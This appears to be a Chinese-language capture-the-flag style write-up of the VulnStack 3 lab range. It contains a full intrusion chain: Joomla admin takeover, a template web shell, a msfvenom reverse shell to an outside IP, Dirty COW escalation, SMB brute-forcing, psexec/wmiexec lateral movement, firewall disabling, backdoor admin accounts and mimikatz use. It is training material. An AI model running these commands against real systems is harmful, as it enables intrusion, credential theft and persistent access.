VulnStack 3


每次做红日靶场最痛苦的事情就是安装虚拟机,每次内存都爆满。。。

环境配置

这次需要配一张192.168.93.0的VMnet2网卡

然后把centos的网卡多设置一张NAT模式的就好了

把NAT改回111网段了

centos运行的时候要重新获取桥接模式的网卡ip:

1
2
3
ifdown eth0
ifup eth0
ip a

总览

1
2
3
4
5
6
7
8
9
5台机
centos
ubuntu
win7
win2008
win2012

本次测试为黑盒测试,所以所有主机都为挂起状态,且账号都默认已经登录。
在域控内有一份文件

开打

信息搜集

现在啥都不知道,只能够对192.168.31.168进行渗透

wappalyzer显示是一个joomla的cms

kscan扫端口,dirsearch扫目录:

扫出端口如下:

1
2
3
ssh 22
web 80
mysql 3306

发现configuration.php~,里面有sql的密码

1
cvcvgjASD!@

administrator有后台

尝试弱密码爆破(top3000)后台

爆破不了,不是弱密码

查找到2023的cve,发现不行

外网渗透

这边用navicat连一下数据库:

连上以后找一下有没有管理员的密码(搜一下users)

这边在am2zu_users里找到了

但是密码不是明文,这就有点难办了。这边查了一下joomla的管理员密码,发现有

可以试试

1
d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199

改完之后用administrator secret进来了

接下来就是随便找个地方传shell了

Joomla后台模板Getshell技巧-腾讯云开发者社区-腾讯云 (tencent.com)

Extensions - Templates - Templates -选择error.php文件

写了个一句话木马,这里在左上角可以看到error.php in beez3

然后访问:

1
2
http://ip/joomla/templates/beez3/error.php
http://ip/templates/beez3/error.php

蚁剑连接:

虚拟终端打whoami返回ret=127,说明没权限

这边直接用蚁剑的bypassdisablefunction绕过

用这个GG UAF就可以了

但是用不了ifconfig

所以这边换成LD_PRELOAD

连到.antproxy.php,密码是刚刚的cmd

这下ok了

内网信息收集

ifconfig一下:

发现离谱的是地址居然是192.168.93.120

而不是我们的192.168.31.168

也就是说我们的192.168.31.168是公网ip,而192.168.93.120是内网的ip

emm,接下来想上线msf,通过arch发现是64位的操作系统:

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=106.52.94.23 LPORT=2333 -f elf > shell.elf

上线不了。。。而且很卡,得等一会

翻翻文件有什么东西。翻到了/tmp/mysql/test.txt

真的有人会藏东西到这地方吗

1
2
adduser wwwuser
passwd wwwuser_123Aqx

用linux的大概都知道,这里的意思就是新增了一个用户wwwuser,密码是wwwuser_123Aqx,这里可以通过SSH连接

进来了

连进ssh以后就可以想办法提权了

看一下有没有find的提权:

1
find / -perm -u=s -type f 2>/dev/null

没得,看内核

1
Linux MiWiFi-R4CM-srv 2.6.32-431.el6.x86_64 #1 SMP Fri Nov 22 03:15:09 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux

2.6.32,可以用脏牛:

GitHub - Rvn0xsy/linux_dirty: 更改后的脏牛提权代码,可以往任意文件写入任意内容,去除交互过程

适用条件:
1.目标服务器未打补丁
2.Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)

这边直接用terminus的sftp传dirty.c

gcc编译

1
gcc -pthread dirty.c -o dirty -lcrypt

然后

1
2
su rooter
Hello@World

msf上线

重新执行一下这个shell

上线成功

简单添加一下路由和socks4代理。这里的内网端我们已经通过ifconfig扫出来是192.168.93.0端了

添加路由:

1
run autoroute -s 192.168.93.0

添加socks4代理:

1
2
3
use auxiliary/server/socks_proxy
set version 4a
set SRVHOST 127.0.0.1

proxychains扫192.168.93端

1
proxychains nmap 192.168.93.0 -sT -Pn

…不知道是不是命令输错了,建议用msf的udp_probe模块探测:

1
2
3
4
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0/24
set threads 20
run

这里解决了之前在Vulnstack2里的运行过慢问题,就是要提高线程(((

这里探测出了:

1
2
3
192.168.93.10
192.168.93.20
192.168.93.30

proxychains上nmap继续扫:

1
proxychains nmap 192.168.93.x -sT -Pn

10段扫的比较慢

后面直接就timeout了,无敌,等他扫完要20分钟???

扫出来以后发现三台都有445,试试永恒之蓝能不能和他爆了

1
2
3
use exploit/windows/smb/ms17_010_eternalblue

use auxiliary/admin/smb/ms17_010_command #好像要用正向链接的

全部用不了,但是我们可以知道他们的系统是啥:

1
2
3
10 Windows server 2012 R2
20 Windows Server 2008 Service Pack 2
30 Win7 service pack 1

不能用永恒之蓝爆,换一种方式,用smb连接。爆一下smb密码

1
2
3
4
use auxiliary/scanner/smb/smb_login
set rhost 192.168.93.10
set pass_file top1000.txt
run

域控密码

1
zxcASDqw123!!

爆20:

1
2
set rhost 192.168.93.20
run
1
123qwe!ASD

爆30:

1
2
set rhost 192.168.93.30
run

也是123qwe!ASD

如果这边msf的爆不了可以换hydra

hydra也有这个功能:

1
hydra -l administrator -P 字典路径 ip smb

横向移动

用smb模块的psexec上线就好了,上线一台直接派生去cs爆

1
2
3
4
5
use windows/smb/psexec
set rhost 192.168.93.10
set SMBUSER administrator
set SMBPASS zxcASDqw123!!
run

10的进不去

试试20和30的

20的能连,meterpreter弹过来了

能连

还是system权限

这边迁移到explorer.exe(PID 3800)

1
migrate 3800

先关防火墙,开3389

1
2
3
netsh advfirewall set allprofiles state off

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

20的机子拿下,但是10和30的机子不行

这边换成wmiexec

GitHub - XiaoliChan/wmiexec-Pro: New generation of wmiexec.py

wmiexec也是一种横向移动工具。它利用了WMI接口来远程管理windows系统。WMI是一个windows操作系统提供的系统管理工具。提供了一套API接口,可以对本地和远程Windows系统进行管理。如查看进程,执行命令,上传文件等

使用wmiexec前需要在目标机器上开启wmi服务,并且确保防火墙不会阻止和wmi服务的通信

usage:

1
python3 wmiexec-pro.py username:password@target_ip 
1
proxychains python3 wmiexec-pro.py 'administrator:zxcASDqw123!!@192.168.93.10' exec-command -shell

拿到shell:

同样的操作关防火墙开3389

1
2
3
netsh advfirewall set allprofiles state off

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

拿下

最后一台

1
proxychains python3 wmiexec-pro.py 'administrator:123qwe!ASD@192.168.93.30' exec-command -shell

拿下

1
2
3
netsh advfirewall set allprofiles state off

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

这边还连不上,显示untrusted,这边试试添加一个用户:

1
2
3
net user err0r hongrisec@2019 /add
net localgroup administrators err0r /add
net user err0r

OK了

看一下域控里的文件就好了,flag在C:\\Users\\Administrator\\Docunments

这里如果只爆出一个密码的话,可以传mimikatz然后serkurlsa::logonpasswords

注意如果是win2012的机子的话,需要

1
2
3
log
privilege::debug
serkurlsa::logonpasswords